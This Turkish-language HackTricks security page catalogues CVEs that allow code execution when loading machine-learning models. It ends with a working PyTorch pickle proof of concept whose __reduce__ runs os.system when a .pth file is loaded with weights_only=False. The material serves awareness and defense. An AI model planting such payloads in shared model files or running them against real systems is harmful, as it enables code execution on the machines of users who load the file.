Modeller RCE

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Modellerin RCE'ye Yüklenmesi

Makine Öğrenimi modelleri genellikle ONNX, TensorFlow, PyTorch gibi farklı formatlarda paylaşılır. Bu modeller, geliştiricilerin makinelerine veya üretim sistemlerine yüklenerek kullanılabilir. Genellikle modeller kötü niyetli kod içermemelidir, ancak model yükleme kütüphanesindeki bir güvenlik açığı veya istenen bir özellik nedeniyle modelin sistemde rastgele kod çalıştırmak için kullanılabileceği bazı durumlar vardır.

Yazım zamanı itibarıyla bu tür güvenlik açıklarına bazı örnekler şunlardır:

Framework / AraçGüvenlik Açığı (CVE mevcutsa)RCE VektörüReferanslar
PyTorch (Python)Güvensiz serileştirme torch.load (CVE-2025-32434)Model kontrol noktasındaki kötü niyetli pickle, kod çalıştırmaya yol açar ( weights_only korumasını atlar)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + kötü niyetli model indirme, kod çalıştırmaya neden olur; yönetim API'sinde Java serileştirme RCE
TensorFlow/KerasCVE-2021-37678 (güvensiz YAML)
CVE-2024-3660 (Keras Lambda)
YAML'den model yüklemek yaml.unsafe_load kullanır (kod çalıştırma)
Lambda katmanı ile model yüklemek rastgele Python kodu çalıştırır
TensorFlow (TFLite)CVE-2022-23559 (TFLite ayrıştırma)Özel olarak hazırlanmış .tflite modeli, tam sayı taşması tetikler → bellek bozulması (potansiyel RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)joblib.load ile bir model yüklemek, saldırganın __reduce__ yükünü çalıştırır
NumPy (Python)CVE-2019-6446 (güvensiz np.load) tartışmalınumpy.load varsayılan olarak pickle nesne dizilerine izin veriyordu – kötü niyetli .npy/.npz kod çalıştırmayı tetikler
ONNX / ONNX RuntimeCVE-2022-25882 (dizin geçişi)
CVE-2024-5187 (tar geçişi)
ONNX modelinin dış-ağırlık yolu dizinden çıkabilir (rastgele dosyaları okuyabilir)
Kötü niyetli ONNX model tar, rastgele dosyaları yazabilir (RCE'ye yol açar)
ONNX Runtime (tasarım riski)(CVE yok) ONNX özel ops / kontrol akışıÖzel operatör içeren model, saldırganın yerel kodunu yüklemeyi gerektirir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanır
NVIDIA Triton ServerCVE-2023-31036 (yol geçişi)--model-control etkinleştirildiğinde model yükleme API'si, dosyaları yazmak için göreli yol geçişine izin verir (örneğin, RCE için .bashrc'yi geçersiz kılmak)
GGML (GGUF formatı)CVE-2024-25664 … 25668 (birden fazla bellek taşması)Bozuk GGUF model dosyası, ayrıştırıcıda bellek tamponu taşmalarına neden olur, kurban sistemde rastgele kod çalıştırmayı sağlar
Keras (eski formatlar)(Yeni CVE yok) Eski Keras H5 modeliKötü niyetli HDF5 (.h5) modeli, Lambda katmanı kodu yüklenirken hala çalışır (Keras güvenli_modu eski formatı kapsamaz – “gerileme saldırısı”)
Diğerleri (genel)Tasarım hatası – Pickle serileştirmeBirçok ML aracı (örneğin, pickle tabanlı model formatları, Python pickle.load) model dosyalarına gömülü rastgele kodu çalıştıracaktır, önlem alınmadıkça

Ayrıca, PyTorch tarafından kullanılanlar gibi bazı python pickle tabanlı modeller, weights_only=True ile yüklenmediklerinde sistemde rastgele kod çalıştırmak için kullanılabilir. Bu nedenle, yukarıdaki tabloda listelenmemiş olsalar bile, herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.

Örnek:

  • Modeli oluştur:
python
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Modeli yükle:
python
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin